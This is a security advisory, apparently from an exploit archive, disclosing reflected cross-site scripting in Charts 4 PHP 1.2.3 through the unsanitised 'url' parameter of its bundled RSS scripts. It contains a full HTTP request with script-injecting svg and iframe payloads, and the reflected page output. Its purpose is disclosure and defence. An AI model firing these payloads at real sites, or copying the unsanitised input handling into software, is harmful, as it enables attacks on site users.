# Exploit Title: Charts 4 PHP 1.2.3 Cross Site Scripting
# Date: 2016/2/7
# Researcher: 1N3 @CrowdShield - https://crowdshield.com
# Vendor Homepage: http://www.chartphp.com
# Software Link: http://www.chartphp.com
# Version: 1.2.3
# CVE : N/A

+- --=[Description: 
Charts 4 PHP version 1.2.3 is vulnerable to multiple reflected cross-site scripting vulnerabilities due to a failure to sanitize user input in several default pages via the url= parameter.

+- --=[Affected Params: 
url=

+- --=[Bug Evidence: 

VULNERABLE CODE:
Userinput is passed through function parameters.

    9: ⇑ $rss = fetch_rss ($url); 
        6: $url = $_GET['url']; 

        requires:
            8: if($url)

    Vulnerability is also triggered in:
        /crowdshield/charts4php/bootstrap/rss/scripts/magpie_debug.php
        /crowdshield/charts4php/bootstrap/rss/scripts/simple_smarty.php
        /crowdshield/charts4php/bootstrap/rss/scripts/magpie_slashbox.php
        /crowdshield/charts4php/bootstrap/rss/rss_fetch.inc
        /crowdshield/charts4php/bootstrap/rss/rss_parse.inc


HTTP REQUEST:

GET /charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%27%22--+ HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://crowdshield.com/charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%3Ciframe+src%3D%22+javascript%3Aalert%28%27https%3A%2F%2Fcrowdshield.com%27%29%3B%22%3E%3C%2Fiframe%3E+
Cookie: __cfduid=d89da9abfef7f775eadafcdc1008eac6b1454814806; __utma=242435792.1300894982.1454814681.1454885335.1454891081.5; __utmz=242435792.1454814681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.1300894982.1454814681; __atuvc=1%7C5%2C5%7C6; PHPSESSID=qlct9igheoh2ofg7bo8g8ss691; __utmb=242435792.31.10.1454891081; __utmc=242435792; __atuvs=56b7e04adb06138a001
Connection: close

Channel: <p><ul></ul>
<form>
RSS URL: <input type="text" size="30" name="url" value=""><svg/onload=alert(1)>'"-- "><br />
  <input type="submit" value="Parse RSS">
</form>